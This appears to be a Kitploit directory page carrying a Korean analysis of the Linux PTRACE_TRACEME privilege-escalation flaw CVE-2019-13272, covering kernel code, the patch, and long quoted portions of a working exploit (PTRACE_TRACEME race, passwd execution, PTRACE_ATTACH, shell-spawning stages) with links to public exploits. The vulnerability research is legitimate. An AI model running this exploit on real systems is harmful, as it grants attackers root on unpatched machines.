Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
CVE-2019-13272 | Kitploit
도구/GitHubGitHub/datntsec/cve-2019-13272
Privilege EscalationVulnerability AnalysisExploitationLearning & EducationBinary Exploitation
GitHubdatntsec/cve-2019-13272

CVE-2019-13272

저장소 보기
5년 전아직 검토되지 않음

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

CVE-2019-13272

PTRACE_TRACEME CVE-2019-13272 로컬 권한 상승 취약점 분석

PTRACE_TRACEME는 Jann Horn이 2019년 7월에 발견한 Linux Kernel의 권한 상승 취약점입니다.

취약점 분석:

Ptrace는 system call로, 하나의 프로세스(tracer)가 다른 프로세스(tracee)의 실행 과정을 관찰하고 제어할 수 있게 해주는 방법을 제공하며, 코어 이미지와 레지스터를 검사하고 변경할 수 있게 합니다. 주로 디버깅 시 중단점(break point)을 설정하고 system call 호출 과정을 추적하는 데 사용됩니다.``` c 1 396 kernel/ptrace.c <<ptrace_attach>> ptrace_link(task, current); 2 469 kernel/ptrace.c <<ptrace_traceme>> ptrace_link(current, current->real_parent);

root@kitploit:~
트레이스 관계를 설정하는 두 가지 방법이 있습니다:
  - 프로세스는 fork 함수를 호출하고, 그 자식 프로세스는 `PTRACE_TRACEME`(커널의 `ptrace_traceme` 함수)를 호출하여 tracee를 초기화합니다.
  - 프로세스는 `PTRACE_ATTACH` 또는 `PTRACE_SEIZE`(커널의 `ptrace_attach` 함수)를 호출하여 다른 프로세스를 추적하기 위한 tracer를 초기화합니다.

어떤 방법을 사용하든 결국 `ptrace_link` 함수가 호출되어 tracer와 tracee 사이의 트레이스 관계를 설정합니다.
- `ptrace_attach`의 경우 `ptrace_link`에 전달되는 두 매개변수는 'task'(tracee)와 'current'(tracer)입니다.
- `ptrace_traceme`의 경우 `ptrace_link`에 전달되는 두 매개변수는 'current'(tracee)와 'current->real_parent'(tracer)입니다.

여기서 우리는 위 두 방식에서 `ptrace_link` 함수를 호출할 때 tracer와 tracee에 전달되는 두 매개변수가 무엇인지 주의해야 합니다. 취약점은 `ptrace_link` 함수에 있기 때문입니다.``` c
static void ptrace_link(struct task_struct *child, struct task_struct *new_parent)
{
        rcu_read_lock();
        __ptrace_link(child, new_parent, __task_cred(new_parent));
        rcu_read_unlock();
}

void __ptrace_link(struct task_struct *child, struct task_struct *new_parent,
                   const struct cred *ptracer_cred)
{
        BUG_ON(!list_empty(&child->ptrace_entry));
        list_add(&child->ptrace_entry, &new_parent->ptraced); // 1. thêm chính nó vào hàng đợi 
                                                                 // ptraced của process cha
        child->parent = new_parent; // 2. Lưu địa chỉ của process cha trong con trỏ parent
        child->ptracer_cred = get_cred(ptracer_cred); // 3. Lưu ptracer_cred lại, ta cần tập trung 
                                                          // vào biến này vì lỗi nằm ở đây
}

trace relationship을 설정하는 핵심은 tracee가 tracer의 cred를 기록하여 이를 tracee의 'ptracer_cred' 변수에 저장한다는 점입니다.

'ptracer_cred' 개념은 2016년 패치인 ptrace: Capture the ptracer's creds not PT_PTRACE_CAP에 의해 도입되었습니다. 'ptracer_cred'를 도입한 목적은 tracee가 setuid executable을 로드하기 위해 exec를 실행할 때 보안 검사를 수행하기 위해서입니다.

이 보안 검사가 왜 필요할까요?

exec 계열은 프로세스의 image를 업데이트할 수 있습니다. 실행 파일의 setuid bit가 설정되어 있으면, 해당 실행 파일이 실행될 때 프로세스의 euid가 실행 파일 소유자의 uid로 변경됩니다. 프로세스의 권한은 exec를 호출한 사용자의 권한보다 높아지며, 이러한 setuid executable을 실행하면 권한 상승(escalation) 효과가 발생합니다.

상상해 보겠습니다. exec를 실행하는 프로세스 자체가 tracee라면, tracee가 setuid executable을 실행하여 권한을 상승시킨 후에도 tracer는 언제든지 tracee의 레지스터와 메모리를 수정할 수 있습니다. 그리고 낮은 권한의 tracer가 높은 권한의 tracee를 제어할 수 있다면, tracer는 tracee를 통해 권한 없는 작업을 수행할 수 있습니다.

하지만 커널에서는 이처럼 권한을 초과하는 행위를 허용하지 않는 것으로 보입니다. 따라서 trace relationship을 설정할 때 tracee는 tracer의 cred(즉, ptracer_cred)를 저장해야 하며, tracee가 exec 프로세스를 실행하면 실행되는 실행 파일의 setuid bit가 설정되어 있는지 확인합니다. 설정되어 있다면 'ptracer_cred'의 권한을 검사합니다. 권한이 충족되지 않으면 setuid bit의 실행 권한(파일 소유자의 특권)으로 exec를 실행하지 않고 원래 사용자의 권한으로 실행합니다.

이 프로세스의 코드 분석은 다음과 같습니다 (이 글의 코드 분석은 v4.19-rc8을 기준으로 합니다).``` python do_execve -> __do_execve_file -> prepare_binprm -> bprm_fill_uid -> security_bprm_set_creds ->cap_bprm_set_creds -> ptracer_capable ->selinux_bprm_set_creds ->(apparmor_bprm_set_creds) ->(smack_bprm_set_creds) ->(tomoyo_bprm_set_creds)

root@kitploit:~
실행 권한과 관련된 작업은 주로 `prepare_binprm` 함수에 있습니다.``` c
1567 int prepare_binprm(struct linux_binprm *bprm)
1568 {
1569         int retval;
1570         loff_t pos = 0;
1571 
1572         bprm_fill_uid(bprm); // <-- fill cred của new process (xem hàm bprm_fill_uid bên dưới sẽ rõ hơn)
1573 
1574         /* fill in binprm security blob */
1575         retval = security_bprm_set_creds(bprm); // <-- kiểm tra bảo mật, để xem xét sửa đổi cred của new process     
1576         if (retval)
1577                 return retval;
1578         bprm->called_set_creds = 1;
1579 
1580         memset(bprm->buf, 0, BINPRM_BUF_SIZE);
1581         return kernel_read(bprm->file, bprm->buf, BINPRM_BUF_SIZE, &pos);
1582 }

위와 같이, 먼저 bprm_fill_uid를 호출하여 새 프로세스의 cred를 채운 다음, security_bprm_set_creds를 호출하여 보안을 확인하고 필요 시 새 cred를 수정한다.``` c 1509 static void bprm_fill_uid(struct linux_binprm *bprm) 1510 { 1511 struct inode inode; 1512 unsigned int mode; 1513 kuid_t uid; 1514 kgid_t gid; 1515 1516 / 1517 * Since this can be called multiple times (via prepare_binprm), 1518 * we must clear any previous work done when setting set[ug]id 1519 * bits from any earlier bprm->file uses (for example when run 1520 * first for a setuid script then again for its interpreter). 1521 / 1522 bprm->cred->euid = current_euid(); // <--- trước tiên sẽ sử dụng euid của process hiện tại 1523 bprm->cred->egid = current_egid(); 1524 1525 if (!mnt_may_suid(bprm->file->f_path.mnt)) 1526 return; 1527 1528 if (task_no_new_privs(current)) 1529 return; 1530 1531 inode = bprm->file->f_path.dentry->d_inode; 1532 mode = READ_ONCE(inode->i_mode); 1533 if (!(mode & (S_ISUID|S_ISGID))) // <---------- nếu bit setuid/setgid của file thực thi không được set 1534 return; // , hàm sẽ return tại đây. 1535 1536 / Be careful if suid/sgid is set / 1537 inode_lock(inode); 1538 1539 / reload atomically mode/uid/gid now that lock held / 1540 mode = inode->i_mode; 1541 uid = inode->i_uid; // <---- nếu S_ISUID được set,sử dụng i_uid của file 1542 gid = inode->i_gid; 1543 inode_unlock(inode); 1544 1545 / We ignore suid/sgid if there are no mappings for them in the ns */ 1546 if (!kuid_has_mapping(bprm->cred->user_ns, uid) || 1547 !kgid_has_mapping(bprm->cred->user_ns, gid)) 1548 return; 1549 1550 if (mode & S_ISUID) { 1551 bprm->per_clear |= PER_CLEAR_ON_SETID; 1552 bprm->cred->euid = uid; // <------ sử dụng uid của file như là euid của new process 1553 } 1554 1555 if ((mode & (S_ISGID | S_IXGRP)) == (S_ISGID | S_IXGRP)) { 1556 bprm->per_clear |= PER_CLEAR_ON_SETID; 1557 bprm->cred->egid = gid; 1558 } 1559 }

root@kitploit:~
위 코드에 대한 다음 2줄의 코드를 살펴보겠습니다:
- 1522행: 프로세스의 현재 euid를 new euid에 할당하므로, 실행되는 대부분의 프로세스는 원래 권한으로 실행됩니다.
- 1552행: suid 비트가 설정된 경우, 실행 파일 소유자의 uid를 new uid에 할당합니다. 이는 setuid와 유사한 것으로 이해할 수 있습니다. new euid는 실행 파일 소유자의 uid가 되며, 소유자가 특권 사용자라면 여기서 권한 상승이 발생합니다.

그러나 여기서의 euid는 아직 최종 결과가 아닙니다. 보안 검사에 대해 더 알아보려면 `security_bprm_set_creds` 함수를 확인해야 합니다.

`security_bprm_set_creds` 함수는 [LSM](https://en.wikipedia.org/wiki/Linux_Security_Modules) 프레임워크를 호출합니다.

제가 분석한 커널 버전에는 'bprm_set_creds'의 보안 검사를 수행하는 LSM 프레임워크 hook 지점이 최대 5개 있습니다. 검사 함수는 다음과 같습니다:``` python
cap_bprm_set_creds
selinux_bprm_set_creds
apparmor_bprm_set_creds
smack_bprm_set_creds
tomoyo_bprm_set_creds

여기서 실행될 hook 함수는 각 커널의 특정 구성에 따라 달라진다. 이론적으로 모든 LSM 프레임워크가 활성화되어 있다면, 위에서 언급한 모든 hook 함수가 'bprm_set_creds'를 검사하도록 구현될 것이다.

내 분석 환경에서는 cap_bprm_set_creds와 selinux_bprm_set_creds hook 함수만 실행되었다.

그중에서 cap_bprm_set_creds 함수는 euid를 변경하는 역할을 한다:``` c 815 int cap_bprm_set_creds(struct linux_binprm *bprm) 816 { 817 const struct cred *old = current_cred(); 818 struct cred new = bprm->cred; 819 bool effective = false, has_fcap = false, is_setid; 820 int ret; 821 kuid_t root_uid; ===================== skip ====================== 838 / Don't let someone trace a set[ug]id/setpcap binary with the revised 839 * credentials unless they have the appropriate permit. 840 * 841 * In addition, if NO_NEW_PRIVS, then ensure we get no new privs. 842 / 843 is_setid = __is_setuid(new, old) || __is_setgid(new, old);
844 845 if ((is_setid || __cap_gained(permitted, new, old)) && // <---- kiểm tra setid của chương trình được thực thi 846 ((bprm->unsafe & ~LSM_UNSAFE_PTRACE) || 847 !ptracer_capable(current, new->user_ns))) { // <----- Nếu process thực thi execve được trace, và executed program là setuid, quyền sẽ được xem xét thêm vào 848 /
downgrade; they get no more than they had, and maybe less */ 849 if (!ns_capable(new->user_ns, CAP_SETUID) || 850 (bprm->unsafe & LSM_UNSAFE_NO_NEW_PRIVS)) { 851 new->euid = new->uid; // <----- Nếu không thỏa điều kiện, euid của tiến trình mới sẽ được reset về uid ban đầu 852 new->egid = new->gid; 853 } 854 new->cap_permitted = cap_intersect(new->cap_permitted, 855 old->cap_permitted); 856 } 857 858 new->suid = new->fsuid = new->euid; 859 new->sgid = new->fsgid = new->egid; ===================== skip ====================== }

root@kitploit:~
위와 같이, 
  - 845행은 euid가 원래 uid와 일치하는지 확인합니다 (위의 `bprm_fill_uid` 함수 분석에서, 실행되는 파일에 setuid 비트가 설정되어 있으면 euid는 일반적으로 일치하지 않습니다) ==> 여기서는 실행 중인 프로세스가 setid 프로그램인지 감지하는 것과 동일하다고 이해할 수도 있습니다.
  - 847행은 프로세스가 tracee인지 확인합니다.

위의 두 조건이 충족되면 권한을 확인하기 위해 `ptracer_capable` 함수를 실행해야 합니다. 검사가 통과되지 않으면 권한을 낮추는 작업이 수행됩니다.
  - 851행에서는 '*new->euid*'의 값을 '*new->uid*'로 변경합니다. 즉, `bprm_fill_uid` 함수에서 얻은 권한(cred)이 여기서 낮아질 수 있습니다.``` c
    499 bool ptracer_capable(struct task_struct *tsk, struct user_namespace *ns)
    500 {
    501         int ret = 0;  /* An absent tracer adds no restrictions */
    502         const struct cred *cred;
    503         rcu_read_lock();
    504         cred = rcu_dereference(tsk->ptracer_cred); // <----- lấy ra ptracer_cred được lưu khi ptrace_link
    505         if (cred)
    506                 ret = security_capable_noaudit(cred, ns, CAP_SYS_PTRACE); // <-- đi vào lsm framwork để kiểm tra bảo mật
    507         rcu_read_unlock();
    508         return (ret == 0);
    509 }
    

위와 같이

  • 504번째 줄은 'tsk->ptracer_cred'를 가져온다.
  • 506번째 줄은 lsm 프레임워크로 들어가 'tsk->ptracer_cred'를 검사한다.

'tsk->ptracer_cred' 변수는 취약점과 관련된 부분이 여기에 있다. 앞서 언급했듯이, 이 변수는 trace 관계가 설정될 때 tracee가 저장한 tracer의 cred이다.

tracee가 이후에 suid 실행 파일을 실행하기 위해 execve를 수행하면 ptracer_capable 함수를 호출하고 lsm의 security framework를 사용하여 'ptracer_cred'의 권한을 결정한다.

lsm 프레임워크의 security_capable_noaudit을 분석하지는 않겠지만, 간단히 이해하자면 tracer 자신이 root 권한을 가지고 있다면 여기 검사가 통과되고, 그렇지 않으면 오류를 반환한다.

앞선 분석에 따르면, ptracer_capable 함수의 검사가 실패하면 'new->euid'의 권한은 원래 권한으로 낮아진다.

예: A가 B를 ptrace하고, B가 execve로 '/usr/bin/passwd'를 실행한다. 위 코드 분석에 따르면 A가 root 권한을 가지면 passwd를 실행하는 B의 euid는 root가 되고, 그렇지 않으면 원래 권한을 사용한다.``` c kernel/ptrace.c <<ptrace_traceme>> ptrace_link(current, current->real_parent);

static void ptrace_link(struct task_struct *child, struct task_struct *new_parent) { rcu_read_lock(); __ptrace_link(child, new_parent, __task_cred(new_parent)); rcu_read_unlock(); }

root@kitploit:~
위의 취약점이 있는 코드 부분으로 돌아가서, trace link를 설정할 때 traceme가 부모의 cred를 기록하는 것이 왜 wrong일까? 분명히 이때 부모는 tracer인데?

Jann Horn의 예를 사용하여, 이러한 방식으로 trace link를 설정할 때 traceme가 tracer의 cred를 사용할 수 없는 이유를 설명해 보자.``` py
 - 1,  task A: fork()s a child, task B
 - 2,  task B: fork()s a child, task C
 - 3,  task B: execve(/some/special/suid/binary)
 - 4,  task C: PTRACE_TRACEME (creates privileged ptrace relationship)
 - 5,  task C: execve(/usr/bin/passwd)
 - 6,  task B: drop privileges (setresuid(getuid(), getuid(), getuid()))
 - 7,  task B: become dumpable again (e.g. execve(/some/other/binary))
 - 8,  task A: PTRACE_ATTACH to task B
 - 9,  task A: use ptrace to take control of task B
 - 10, task B: use ptrace to take control of task C

총 3개의 프로세스 A, B, C가 위 시나리오에 존재한다.

  • 4단계에서 task C가 PTRACE_TRACEME를 사용하여 B와 trace link를 설정할 때, B의 euid가 이제 0이므로(방금 suid binary를 실행했기 때문에), C가 기록하는 'ptracer_cred'의 euid도 0이다.
  • 5단계에서 task C는 이후 execve(suid binary)를 실행한다. 앞선 분석에 따르면, C의 'ptracer_cred'가 권한을 가지므로 ptracer_capable 함수가 통과되고, 따라서 execve 실행 후 task C의 euid도 0으로 상승한다. 이 시점에 B와 C의 trace link는 여전히 유효하다는 점에 유의하라.
  • 6단계에서 task B는 setresuid를 실행하여 자신의 권한을 낮춘다. 이 작업의 목적은 task A와 attach를 진행하기 위함이다.
  • 8단계에서 task A는 PTRACE_ATTACH를 사용하여 B와 trace link를 설정한다. A와 B 모두 일반 권한을 가지며, 이후 A는 B를 제어하여 어떤 작업이든 수행할 수 있다.
  • 10단계에서 task B는 task C를 제어하여 권한 상승 행위를 수행한다.

처음 9단계는 모두 앞선 코드 분석에 따라 설정된 것이다. 그렇다면 9단계는 설정이 가능한가?

10단계를 수행할 때 task B 자체는 일반 권한을 갖고, task C는 root 권한을 가지며 B와 C 사이의 trace link는 유효하다. 이러한 조건에서 B는 ptrace 요청을 보내 C가 다양한 작업을 수행하게 할 수 있는데, 여기에는 권한 상승도 포함되는가?

이를 아래 코드로 분석해 보자:``` c 1111 SYSCALL_DEFINE4(ptrace, long, request, long, pid, unsigned long, addr, 1112 unsigned long, data) 1113 { 1114 struct task_struct child; 1115 long ret; 1116 1117 if (request == PTRACE_TRACEME) { 1118 ret = ptrace_traceme(); // <----- đi vào nhánh traceme 1119 if (!ret) 1120 arch_ptrace_attach(current); 1121 goto out; 1122 } 1123 1124 child = find_get_task_by_vpid(pid); 1125 if (!child) { 1126 ret = -ESRCH; 1127 goto out; 1128 } 1129 1130 if (request == PTRACE_ATTACH || request == PTRACE_SEIZE) { 1131 ret = ptrace_attach(child, request, addr, data); // <------ đi vào nhánh attach 1132 / 1133 * Some architectures need to do book-keeping after 1134 * a ptrace attach. 1135 */ 1136 if (!ret) 1137 arch_ptrace_attach(child); 1138 goto out_put_task_struct; 1139 } 1140 1141 ret = ptrace_check_attach(child, request == PTRACE_KILL || 1142 request == PTRACE_INTERRUPT); 1143 if (ret < 0) 1144 goto out_put_task_struct; 1145 1146 ret = arch_ptrace(child, request, addr, data); // <---- các yêu cầu ptrace khác 1147 if (ret || request != PTRACE_DETACH) 1148 ptrace_unfreeze_traced(child); 1149 1150 out_put_task_struct: 1151 put_task_struct(child); 1152 out: 1153 return ret; 1154 }

root@kitploit:~
위의 코드에서와 같이, task B와 task C가 이 시점에 이미 trace links를 가지고 있기 때문에, ptrace 요청은 B를 통해 C로 직접 전송될 수 있으며, 이를 통해 `arch_ptrace` 함수가 호출됩니다.``` c
arch/x86/kernel/ptrace.c

arch_ptrace 
    -> ptrace_request 
        -> generic_ptrace_peekdata
           generic_ptrace_pokedata 
            -> ptrace_access_vm 
                -> ptracer_capable 
kernel/ptrace.c
884 int ptrace_request(struct task_struct *child, long request,
885                    unsigned long addr, unsigned long data)
886 {
887         bool seized = child->ptrace & PT_SEIZED;
888         int ret = -EIO;
889         siginfo_t siginfo, *si;
890         void __user *datavp = (void __user *) data;
891         unsigned long __user *datalp = datavp;
892         unsigned long flags;
893 
894         switch (request) {
895         case PTRACE_PEEKTEXT:
896         case PTRACE_PEEKDATA:
897                 return generic_ptrace_peekdata(child, addr, data);
898         case PTRACE_POKETEXT:
899         case PTRACE_POKEDATA:
900                 return generic_ptrace_pokedata(child, addr, data);
901 
=================== skip ================
1105 }



1156 int generic_ptrace_peekdata(struct task_struct *tsk, unsigned long addr,
1157                             unsigned long data)
1158 {
1159         unsigned long tmp;
1160         int copied;
1161 
1162         copied = ptrace_access_vm(tsk, addr, &tmp, sizeof(tmp), FOLL_FORCE); // <--- gọi hàm ptrace_access_vm
1163         if (copied != sizeof(tmp))
1164                 return -EIO;
1165         return put_user(tmp, (unsigned long __user *)data);
1166 }
1167 
1168 int generic_ptrace_pokedata(struct task_struct *tsk, unsigned long addr,
1169                             unsigned long data)
1170 {
1171         int copied;
1172 
1173         copied = ptrace_access_vm(tsk, addr, &data, sizeof(data), // <---- gọi hàm ptrace_access_vm
1174                         FOLL_FORCE | FOLL_WRITE);
1175         return (copied == sizeof(data)) ? 0 : -EIO;
1176 }

트레이서가 트레이시가 new code logic를 실행하도록 제어하려면 트레이시의 코드 영역과 메모리 영역에 대한 읽기 및 쓰기 요청을 보내야 합니다. 해당 요청은 PTRACE_PEEKTEXT/PTRACE_PEEKDATA/PTRACE_POKETEXT/PTRACE_POKEDATA 함수들입니다.

이러한 읽기 및 쓰기 작업은 최종적으로 ptrace_access_vm 함수를 통해 수행됩니다.``` c kernel/ptrace.c 38 int ptrace_access_vm(struct task_struct *tsk, unsigned long addr, 39 void *buf, int len, unsigned int gup_flags) 40 { 41 struct mm_struct *mm; 42 int ret; 43 44 mm = get_task_mm(tsk); 45 if (!mm) 46 return 0; 47 48 if (!tsk->ptrace || 49 (current != tsk->parent) || 50 ((get_dumpable(mm) != SUID_DUMP_USER) && 51 !ptracer_capable(tsk, mm->user_ns))) { // < ----- gọi hàm ptracer_capable một lần nữa. 52 mmput(mm); 53 return 0; 54 } 55 56 ret = __access_remote_vm(tsk, mm, addr, buf, len, gup_flags); 57 mmput(mm); 58 59 return ret; 60 }

kernel/capability.c 499 bool ptracer_capable(struct task_struct *tsk, struct user_namespace ns) 500 { 501 int ret = 0; / An absent tracer adds no restrictions */ 502 const struct cred *cred; 503 rcu_read_lock(); 504 cred = rcu_dereference(tsk->ptracer_cred); 505 if (cred) 506 ret = security_capable_noaudit(cred, ns, CAP_SYS_PTRACE); 507 rcu_read_unlock(); 508 return (ret == 0); 509 }

root@kitploit:~
위 코드를 보면, 함수 `ptrace_access_vm`는 우리가 앞서 분석한 `ptracer_capable` 함수를 호출하여 해당 요청이 수행될 수 있는지 여부를 판단한다는 것을 알 수 있다.

앞선 분석 결과에 따르면, 이 시점에 task C에 저장된 '*ptracer_cred*'는 권한이 있는 cred이므로, 이 시점에 `ptracer_capable`은 통과하게 된다. 즉, 위의 질문에 대한 답이 나온 셈이다. 이 경우, 일반 권한을 가진 task B는 ptrace를 사용하여 root 권한을 가진 task C의 메모리 영역과 코드 영역에 읽기/쓰기 요청을 보낼 수 있다.

이때, '*ptracer_cred*'의 권한은 task C에 의해 두 가지 경우에 적용된다:
- Task C가 `execve(suid binary)`를 수행하여 권한을 상승시키는 경우
- 일반 권한을 가진 task B가 ptrace를 실행하여 task C의 코드 영역과 메모리 영역을 읽고 쓸 수 있으며, 이를 통해 task C를 제어하여 임의의 작업을 수행하게 하는 경우

위 두 가지 역할의 조합이 완전한 권한 상승 작업인가?

위 질문에 답하기 전에, 이 취약점이 어떻게 악용되었고 어떻게 패치되었는지 살펴보자.

# PTRACE_TRACEME 취약점 패치 개요``` 
PTRACE_TRACEME records the parent's credentials as if the parent was 
acting as the subject, but that's not the case.  If a malicious
unprivileged child uses PTRACE_TRACEME and the parent is privileged, and
at a later point, the parent process becomes attacker-controlled
(because it drops privileges and calls execve()), the attacker ends up
with control over two processes with a privileged ptrace relationship,
which can be abused to ptrace a suid binary and obtain root privileges.

본질적으로, 이 취약점은 TOCTOU 유형의 취약점과 다소 유사합니다. traceme 단계에서 'ptracer_cred'를 획득하고, 다음 ptrace 요청의 후속 단계에서 'ptracer_cred'를 사용할 때, tracer의 cred는 초기 cred가 아니라 연결 시점의 cred일 수 있습니다 (즉, ptrace_link 함수 내에서 다시 할당된 값).``` diff diff --git a/kernel/ptrace.c b/kernel/ptrace.c index 8456b6e..705887f 100644 --- a/kernel/ptrace.c +++ b/kernel/ptrace.c @@ -79,9 +79,7 @@ void __ptrace_link(struct task_struct *child, struct task_struct *new_parent, */ static void ptrace_link(struct task_struct *child, struct task_struct *new_parent) {

  • rcu_read_lock();
  • __ptrace_link(child, new_parent, __task_cred(new_parent));
  • rcu_read_unlock();
  • __ptrace_link(child, new_parent, current_cred()); }
root@kitploit:~
다시 패치를 살펴보겠습니다. '*\_\_task_cred(new_parent)*'이(가) '*current_cred()*'(으)로 대체되었습니다.

이 패치는 PTRACE_TRACEME가 실행될 때 '*ptracer_cred*'가 부모 프로세스의 자격 증명(cred)을 사용하지 않고 자신의 자격 증명을 사용한다는 것을 보여줍니다.

# Exploit
이 취약점을 악용하는 핵심은 task B를 시작하기에 적합한 실행 프로그램을 찾는 것입니다. 이 실행 프로그램은 다음 조건을 충족해야 합니다.
- 일반 사용자가 호출할 수 있어야 함
- 실행 과정에서 root로 권한을 상승시키는 단계가 있어야 함
- root 권한을 획득한 후에는 권한을 다시 낮출 수 있어야 함.

(일시적으로 root로 승격하는 목적은 task C가 root의 ptracer_cred를 얻을 수 있도록 하기 위함이고, 권한을 낮추는 목적은 B가 일반적인 ptrace 권한을 가진 프로세스에 의해 attach될 수 있도록 하기 위함입니다))

다음은 악용을 위한 3가지 샘플 코드입니다.
- [Exploit by Jann Horn](https://bugs.chromium.org/p/project-zero/issues/attachmentText?aid=401217)
- [Exploit by Bcoles](https://github.com/bcoles/kernel-exploits/blob/master/CVE-2019-13272/poc.c)
- [Exploit by Jiayy](https://github.com/jiayy/android_vuln_poc-exp/tree/master/EXP-CVE-2019-13272)

[Jann Horn의 exploit](https://bugs.chromium.org/p/project-zero/issues/attachmentText?aid=401217)에서는 (데스크톱 버전의) 시스템에 기본으로 있는 [pkexec](http://manpages.ubuntu.com/manpages/trusty/man1/pkexec.1.html) 프로그램이 task B를 시작하는 데 사용됩니다.

[pkexec](http://manpages.ubuntu.com/manpages/trusty/man1/pkexec.1.html)는 권한이 있는 사용자가 다른 사용자의 권한으로 다른 프로그램을 실행할 수 있게 해주며, polkit의 인증 프레임워크에서 사용됩니다. `--user` 파라미터를 사용하면 프로세스가 root로 권한을 상승시킨 후 지정된 사용자로 다시 낮출 수 있으므로 task B를 구성하는 데 사용할 수 있습니다. 또한 polkit 프레임워크를 통해 실행되는 추가 실행 프로그램을 찾아야 합니다(Jann Horn은 helper를 사용합니다). 이 프로그램들은 일반 사용자가 인증 없이 pkexec로 실행할 수 있어야 합니다(polkit을 통해 실행되는 많은 프로그램은 팝업 창을 통한 인증을 요구합니다). 실행 방법은 다음과 같습니다.``` sh
/usr/bin/pkexec —user nonrootuser /user/sbin/some-helper-binary

Bcoles의 Exploit은 Jann Horn의 익스플로잇을 기반으로 헬퍼 바이너리를 추가로 찾는 코드를 추가한다. Jann Horn의 헬퍼는 하드코딩된 프로그램이기 때문에 많은 리눅스 배포판에 존재하지 않으며, 따라서 그의 익스플로잇은 많은 배포판 시스템에서 사용할 수 없다. 반면, bcoles의 익스플로잇 코드는 더 많은 배포판에서 성공적으로 실행될 수 있다.

연구 목적을 위해, Jiayy의 익스플로잇에 대해 설명하겠다. 배포판마다 헬퍼 바이너리가 다르고 pkexec는 데스크톱 배포판에만 있기 때문이다. 실제로 이 권한 상승 취약점은 Linux 커널의 취약점이므로, Jann Horn의 익스플로잇은 수동으로 생성된 fakepkexec와 fakehelper라는 두 프로그램을 통해 권한 상승을 수행하도록 수정되었다(타깃 시스템에서 검색하는 대신). 이를 통해 독자는 이 취약점이 있는 모든 Linux 시스템(데스크톱이 아닌 경우에도)에서 이 익스플로잇을 실행하여 연구할 수 있다.

익스플로잇 분석

아래의 익스플로잇 코드를 확인하세요:``` c 167 int main(int argc, char *argv) { 168 if (strcmp(argv[0], "stage2") == 0) 169 return middle_stage2(); 170 if (strcmp(argv[0], "stage3") == 0) 171 return spawn_shell(); 172 173 helper_path = "/tmp/fakehelper"; 174 175 / 176 * set up a pipe such that the next write to it will block: packet mode, 177 * limited to one packet 178 / 179 SAFE(pipe2(block_pipe, O_CLOEXEC|O_DIRECT)); 180 SAFE(fcntl(block_pipe[0], F_SETPIPE_SZ, 0x1000)); 181 char dummy = 0; 182 SAFE(write(block_pipe[1], &dummy, 1)); 183 184 / spawn pkexec in a child, and continue here once our child is in execve() / 185 static char middle_stack[10241024]; 186 pid_t midpid = SAFE(clone(middle_main, middle_stack+sizeof(middle_stack), 187 CLONE_VM|CLONE_VFORK|SIGCHLD, NULL)); 188 if (!middle_success) return 1; 189 ======================= skip ======================= 215 }

root@kitploit:~
먼저 186행을 보면, clone 함수 호출로 하위 프로세스(task B)를 생성하며, task B는 middle_main 함수를 실행합니다.``` c
64 static int middle_main(void *dummy) {
65   prctl(PR_SET_PDEATHSIG, SIGKILL);
66   pid_t middle = getpid();
67 
68   self_fd = SAFE(open("/proc/self/exe", O_RDONLY));
69 
70   pid_t child = SAFE(fork());
71   if (child == 0) {
72     prctl(PR_SET_PDEATHSIG, SIGKILL);
73 
74     SAFE(dup2(self_fd, 42));
75 
76     /* spin until our parent becomes privileged (have to be fast here) */
77     int proc_fd = SAFE(open(tprintf("/proc/%d/status", middle), O_RDONLY));
78     char *needle = tprintf("nUid:t%dt0t", getuid());
79     while (1) {
80       char buf[1000];
81       ssize_t buflen = SAFE(pread(proc_fd, buf, sizeof(buf)-1, 0));
82       buf[buflen] = '';
83       if (strstr(buf, needle)) break;
84     }
85 
86     /*
87      * this is where the bug is triggered.
88      * while our parent is in the middle of pkexec, we force it to become our
89      * tracer, with pkexec's creds as ptracer_cred.
90      */
91     SAFE(ptrace(PTRACE_TRACEME, 0, NULL, NULL));
92 
93     /*
94      * now we execute passwd. because the ptrace relationship is considered to
95      * be privileged, this is a proper suid execution despite the attached
96      * tracer, not a degraded one.
97      * at the end of execve(), this process receives a SIGTRAP from ptrace.
98      */
99     puts("executing passwd");
100     execl("/usr/bin/passwd", "passwd", NULL);
101     err(1, "execl passwd");
102   }
103 
104   SAFE(dup2(self_fd, 0));
105   SAFE(dup2(block_pipe[1], 1));
106 
107   struct passwd *pw = getpwuid(getuid());
108   if (pw == NULL) err(1, "getpwuid");
109 
110   middle_success = 1;
111   execl("/tmp/fakepkexec", "fakepkexec", "--user", pw->pw_name, NULL);
112   middle_success = 0;
113   err(1, "execl pkexec");
114 }

70행에서 fork 함수를 호출하여 손자 프로세스(task C)를 생성합니다.

그런 다음 111행에서 task B는 fakepkexec를 실행하여 권한을 상승시킨 후 권한을 낮춥니다.

다음으로 76행부터 84행을 보면, task C는 task B의 euid가 0이 되었음을 감지한 후 91행을 실행하여 PTRACE_TRACEME 작업을 수행해 root의 ptracer_cred를 획득하고, 그 직후 executel을 실행하여 suid 바이너리를 실행함으로써 자신의 euid를 0으로 만듭니다.``` c 190 /* 191 * wait for our child to go through both execve() calls (first pkexec, then 192 * the executable permitted by polkit policy). 193 */ 194 while (1) { 195 int fd = open(tprintf("/proc/%d/comm", midpid), O_RDONLY); 196 char buf[16]; 197 int buflen = SAFE(read(fd, buf, sizeof(buf)-1)); 198 buf[buflen] = ''; 199 strchrnul(buf, 'n') = ''; 200 if (strncmp(buf, basename(helper_path), 15) == 0) 201 break; 202 usleep(100000); 203 } 204 205 / 206 * our child should have gone through both the privileged execve() and the 207 * following execve() here 208 */ 209 SAFE(ptrace(PTRACE_ATTACH, midpid, 0, NULL)); 210 SAFE(waitpid(midpid, &dummy_status, 0)); 211 fputs("attached to midpidn", stderr); 212 213 force_exec_and_wait(midpid, 0, "stage2"); 214 return 0;

root@kitploit:~
다음으로, task A의 main 함수로 돌아가서 194~202행에서 task A는 task B의 comm 파일이 이미 helper가 되었는지 확인한다. 만약 그렇다면 213행을 실행하여 force_exec_and_wait 함수를 수행한다.``` c
116 static void force_exec_and_wait(pid_t pid, int exec_fd, char *arg0) {
